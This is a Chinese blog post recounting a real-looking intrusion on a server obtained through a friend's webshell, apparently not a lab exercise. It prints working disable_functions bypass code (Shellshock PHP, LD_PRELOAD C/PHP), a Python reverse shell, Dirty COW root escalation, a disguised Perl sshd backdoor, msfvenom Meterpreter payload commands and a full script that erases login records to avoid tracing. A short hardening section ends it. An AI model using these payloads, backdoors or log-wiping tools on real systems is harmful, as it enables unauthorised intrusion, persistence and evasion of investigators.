一次艰难的渗透提权过程

admin 2019年9月11日09:37:20评论3,910 views1字数 9719阅读32分23秒阅读模式

本文作者:F0rmat信安之路首次投稿作者)

获得奖励:邀请加入信安之路知识星球+信安之路核心群+90sec 邀请注册

0x01 前言

某日朋友丢了一条 shell 叫我提权,我拿到 shell 看了一下,菜刀蚁剑都无法执行命令。

一次艰难的渗透提权过程

一次艰难的渗透提权过程

Getshell 的漏洞分析在:

https://getpass.cn/2019/09/06/An-APP-distribution-system-upload-vulnerability/

然后搞了好久熬了一个晚上才弄好,中间走了很多弯路。。。

0x02 信息探测

上一个 phpinfo 看下环境

PHP Version 5.6.30disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthrusendmail_path:/usr/sbin/sendmail -t -imysql:  mysqlnd 5.0.11-dev - 20120503

宝塔警告!

一次艰难的渗透提权过程

问了宝塔的开发工程师,宝塔确实是做得挺好的,Windows 的基本没什么希望了,看下 Linux 的。

一次艰难的渗透提权过程

0x03 肝

putenv这个没禁可以利用一下,看了 P 神的一篇文章:

https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html

http://www.exploit-db.com/exploits/35146/ 的POC

<?php # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variableswhose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variablesthat // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, // PHP will let the user modify ANY environment variable! mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>

一次艰难的渗透提权过程

没戏。。

继续肝。。。

0x04 新希望 LD_PRELOAD

上 gayhub 上面搜了一下看到了一篇不错的姿势

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

按照了里面的一段代码bypass_disablefunc.c

#define _GNU_SOURCE
#include <stdlib.h>#include <unistd.h>#include <sys/types.h>

__attribute__ ((__constructor__)) void preloadme (void){ unsetenv("LD_PRELOAD"); const char* cmdline = getenv("EVIL_CMDLINE"); system(cmdline);}

编译了一下

然后上传调用文件 php

<?php    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);?>

利用的时候没回显,what?

一次艰难的渗透提权过程

又找了一篇文章:

https://www.cnblogs.com/leixiao-/p/10612798.html

还是利用 unix 的LD_PRELOAD和 php 的putenv

#include<stdlib.h>__attribute__((constructor)) void l3yx(){    unsetenv("LD_PRELOAD");    system(getenv("_evilcmd"));}

利用 php 文件

<?phpputenv("_evilcmd=echo 1>/root/tmp/222222");putenv("LD_PRELOAD=./evil.so");mail('a','a','a','a');

执行后去刷新了一下目录,!!!!我去,成功了!

一次艰难的渗透提权过程

但是这样执行代码总是有众多不便的,比如没有回显,把命令带参数执行的时候会报错等

一次艰难的渗透提权过程

还得继续。。。

0x05 柳暗花明又一村-centos

看了大佬一篇文章

https://www.meetsec.cn/index.php/archives/44/

一个修复版的 bypass.c, 作者的解释:

如果你是一个细心的人你会发现这里的 bypass_disablefunc.c(来自 github)和教程中提及的不一样,多出了使用for 循环修改 LD_PRELOAD 的首个字符改成 ,如果你略微了解 C 语言就会知道 是 C 语言字符串结束标记,原因注释里有:unsetenv("LD_PRELOAD") 在某些 Linux 发行版不一定生效(如 CentOS),这样一个小动作能够让系统原有的 LD_PRELOAD 环境变量自动失效

然后从环境变量 EVIL_CMDLINE 中接收 bypass_disablefunc.php 传递过来的待执行的命令行。

用命令:

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 

将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

#define _GNU_SOURCE
#include <stdlib.h>#include <stdio.h>#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void){ // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = ''; } }
// executive command system(cmdline);}

一次艰难的渗透提权过程

偶 ~sex!

后来作者确实改进了代码

一次艰难的渗透提权过程中间也发现了一篇不错的方法:

https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/

劫持 getuid()

基本原理

前提是在 Linux 中已安装并启用 sendmail 程序。

php 的 mail() 函数在执行过程中会默认调用系统程序 /usr/sbin/sendmail,而 /usr/sbin/sendmail 会调用 getuid()。如果我们能通过 LD_PRELOAD 的方式来劫持 getuid(),再用 mail() 函数来触发 sendmail 程序进而执行被劫持的 getuid(),从而就能执行恶意代码了。

细化一下:

编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 evil.so;

运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 evil.so,以便后续启动新进程时优先加载该共享对象;

运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持;

达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。

#include <stdlib.h>#include <stdio.h>#include <string.h>
int geteuid() { const char* cmdline = getenv("EVIL_CMDLINE"); if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); system(cmdline);}

gcc -shared -fPIC bypass.c -o byapss.so

编译了一下去利用,发现可以哦!

一次艰难的渗透提权过程

0x06 脏牛提权

可以执行命令了,执行上反弹 shell,有交互的 shell 舒服多了,这里用 python 的反弹脚本,一般系统有装 python 脚本,我都会先用 pyhton,因为有一些系统的不一样,bash 或者 nc 比较麻烦。

import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("x.x.x.x",7777))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);

监听一波

一次艰难的渗透提权过程

反弹成功了

一次艰难的渗透提权过程

执行uname -a看了下版本

Linux cloud 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

2.6 的版本上脏牛必中,可以不用在目标机子上面编译,在自己的 Linux 环境编译然后上传到目标机子上面执行

一次艰难的渗透提权过程

那就静静等待脏牛把 root 替换掉,然后脸上目标机子,大概要几分钟这样子,去连 ssh 的时候有些管理员会把 ssh 的端口改了,用命令netstat -nlp就可以看到了。

已经成功了,用户名为firefart密码是刚设置的 123456。

一次艰难的渗透提权过程

已经成功登陆目标机子

一次艰难的渗透提权过程

0x07 持续访问-ssh 后门

登陆目标机子后,记得及时恢复 /etc/passwd

cp /tmp/passwd.bak /etc/passwd

看过一篇文章,觉得这个后门也不错

https://www.freebuf.com/articles/system/140880.html

那些 pam 补丁、隐藏文件、suid、inetd 等都可以用作后门,看你环境。

1、这个 ssh 后门伪装成一个 perl 脚本,名为 sshd,位于 /usr/sbin/sshd , 将系统原先的 sshd 移到 /usr/bin 下 

#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

2、将真正的 sshd 移至 /usr/bin/sshd

mv /usr/sbin/sshd /usr/bin/sshd

3、将后门 sshd (perl 脚本移动至 /usr/sbin/sshd),并授予执行权限

chmod +x /usr/sbin/sshd 

4、重启 ssh 服务

/etc/init.d/sshd restart

一次艰难的渗透提权过程

5、连接后门,记得安装好 socat

sudo yum install socat

#socat STDIO TCP4:目标ip:ssh端口一般是22,sourceport=31334socat STDIO TCP4:127.0.0.1:22,sourceport=31334

一次艰难的渗透提权过程

0x08 metaspliot 横向渗透

当然做内网渗透必不可少的就是 msf 了,如果是 Windows 的话推荐使用CobaltStrike非常 nice 的一个工具。

反正我们现在拿到 root 的 shell 了,先反弹一个 Meterpreter 的会话,还是常规的生成 payload,然后监听等待上线

1、先生成一个后门

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.79.132 LPORT=4455 -f elf > shell.elf

一次艰难的渗透提权过程

2、把 shell.elf 上传到目标机子上面运行

一次艰难的渗透提权过程

3、在本地执行监听

use exploit/multi/handlerset PAYLOAD linux/x86/meterpreter/reverse_tcpset LHOST 0.0.0.0set LPORT 4455exploit

一次艰难的渗透提权过程

4、执行后门反弹 Meterpreter 的会话

chmod +x ./shell.elf./shell.elf

一次艰难的渗透提权过程

5、查看跳板机处于哪几个网段

run get_local_subnets

一次艰难的渗透提权过程

看了一下。。。

但是我这个是属于外网的机子,后来想了一下感觉都不是内网一点意思都没有。。。

算了吧下次有遇到内网的可以再写一篇内网渗透的文章出来哈

0x09 擦屁股

走之后记得清理痕迹,以防被溯源或者被管理员发现了。下面附上一个脚本供大家使用:

#!/usr/bin/env python import os, struct, sysfrom pwd import getpwnamfrom time import strptime, mktimefrom optparse import OptionParser
UTMPFILE = "/var/run/utmp"WTMPFILE = "/var/log/wtmp"LASTLOGFILE = "/var/log/lastlog"
LAST_STRUCT = 'I32s256s'LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)
XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)

def getXtmp(filename, username, hostname): xtmp = '' try: fp = open(filename, 'rb') while True: bytes = fp.read(XTMP_STRUCT_SIZE) if not bytes: break
data = struct.unpack(XTMP_STRUCT, bytes) record = [(lambda s: str(s).split("", 1)[0])(i) for i in data] if (record[4] == username and record[5] == hostname): continue xtmp += bytes except: showMessage('Cannot open file: %s' % filename) finally: fp.close() return xtmp

def modifyLast(filename, username, hostname, ttyname, strtime): try: p = getpwnam(username) except: showMessage('No such user.')
timestamp = 0 try: str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S') timestamp = int(mktime(str2time)) except: showMessage('Time format err.')
data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname) try: fp = open(filename, 'wb') fp.seek(LAST_STRUCT_SIZE * p.pw_uid) fp.write(data) except: showMessage('Cannot open file: %s' % filename) finally: fp.close() return True

def showMessage(msg): print msg exit(-1)

def saveFile(filename, contents): try: fp = open(filename, 'w+b') fp.write(contents) except IOError as e: showMessage(e) finally: fp.close()

if __name__ == '__main__': usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188n logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12' parser = OptionParser(usage=usage) parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]') parser.add_option('-t', '--ttyname', dest='TTYNAME') parser.add_option('-f', '--filename', dest='FILENAME') parser.add_option('-u', '--username', dest='USERNAME') parser.add_option('-i', '--hostname', dest='HOSTNAME') parser.add_option('-d', '--dateline', dest='DATELINE') (options, args) = parser.parse_args()
if len(args) < 3: if options.MODE == '1': if options.USERNAME == None or options.HOSTNAME == None: showMessage('+[Warning]: Incorrect parameter.n')
if options.FILENAME == None: options.FILENAME = UTMPFILE
# tamper newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME) saveFile(options.FILENAME, newData)
elif options.MODE == '2': if options.USERNAME == None or options.HOSTNAME == None: showMessage('+[Warning]: Incorrect parameter.n')
if options.FILENAME == None: options.FILENAME = WTMPFILE
# tamper newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME) saveFile(options.FILENAME, newData)
elif options.MODE == '3': if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None: showMessage('+[Warning]: Incorrect parameter.n')
if options.FILENAME == None: options.FILENAME = LASTLOGFILE
# tamper modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)
else: parser.print_help()

0x10 防御措施

1、此次渗透的入口点还是目标站点的程序出现的上传漏洞,应该对程序的上传点做过滤加白名单。

2、其实宝塔的功能已经对 php 的执行命令的函数做了严格的封锁,但是还是有漏网之鱼,在宝塔禁用的函数基础上的 disable_function 里面加上putenv函数的禁用。

3、被用脏牛提权,这个是内核的漏洞,应该及时升级内核版本,执行以下命令,需要重启。

Centos/RHEL 更新

sudo yum update

Ubuntu/Debian 更新

sudo apt-get update && sudo apt-get dist-upgrade

4、如果被植入后门了

应该及时查看和本机的连接情况,可以用 netstat 查看。

查看用户是否有改动, cat /etc/passwd 。

查看可疑进程 top

应急这一块可以参考 bypass007 的 GitHub:

https://github.com/Bypass007/Emergency-Response-Notes

一次艰难的渗透提权过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年9月11日09:37:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次艰难的渗透提权过程https://cn-sec.com/archives/69368.html

发表评论

匿名网友 填写信息